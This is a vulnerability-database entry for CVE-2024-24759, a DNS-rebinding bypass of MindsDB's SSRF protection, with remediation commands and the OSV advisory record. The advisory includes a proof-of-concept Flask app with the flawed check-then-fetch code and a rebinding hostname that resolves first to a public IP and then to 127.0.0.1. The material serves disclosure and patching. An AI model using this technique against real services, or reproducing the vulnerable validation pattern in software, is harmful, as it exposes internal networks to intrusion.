CVE-2024-24759: Mindsdb MindsDB Vulnerable To Bypass Of Vulnerability
HIGHCVE-2024-24759 is a HIGH (CVSS 9.3) mindsdb vulnerable to bypass of vulnerability (CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action) affecting Mindsdb libraries in the PyPI ecosystem. The issue involves mindsdb vulnerable to bypass of ssrf protection with dns rebinding. Remediation is available by upgrading affected packages to version 23.12.4.2.
CVE-2024-24759 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L).
How to Fix CVE-2024-24759
To remediate this vulnerability, upgrade all affected Mindsdb dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install mindsdb>=23.12.4.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show mindsdb
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-24759, inspect your installed packages using pip:
pip show mindsdb
Analyze the terminal output to locate any version of Mindsdb in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 23.12.4.2), your application is affected.
Note: The pip show mindsdb command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action, where the product performs reverse dns resolution on an ip address to obtain the hostname and make a security decision, but it does not properly ensure that the ip address is truly associated with the hostname. In Mindsdb, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-24759 Affected Mindsdb Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mindsdb
|
PyPI |
< 23.12.4.2
|
23.12.4.2
|
References
Frequently Asked Questions
What is CVE-2024-24759?
Which Mindsdb versions are affected?
What version fixes CVE-2024-24759?
Is mindsdb affected?
What is the CVSS score of CVE-2024-24759?
What CWE is associated with CVE-2024-24759?
How can I check PyPI dependencies for CVE-2024-24759?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4jcv-vp96-94xr",
"modified" : "2024-11-18T16:27:10Z",
"published" : "2024-09-05T16:37:56Z",
"aliases" : [ "CVE-2024-24759" ],
"summary" : "MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding",
"details" : "### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n url = request.args.get(\"url\")\n\n if not url:\n return jsonify({\"error\": 'Missing \"url\" parameter'}), 400\n\n try:\n is_private_url(url)\n response = requests.get(url)\n\n return jsonify(\n {\n \"url\": url,\n \"is_private\": False,\n \"text\": response.text,\n \"status_code\": response.status_code,\n }\n )\n except Exception as e:\n return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n \"is_private\": false,\n \"status_code\": 200,\n \"text\": \"<pre>\\n<a href=\\\"poc.py\\\">poc.py</a>\\n</pre>\\n\",\n \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "mindsdb"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "23.12.4.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-24759"
}, {
"type" : "WEB",
"url" : "https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mindsdb/mindsdb"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-350", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-09-05T16:37:56Z",
"nvd_published_at" : "2024-09-05T17:15:12Z"
}
}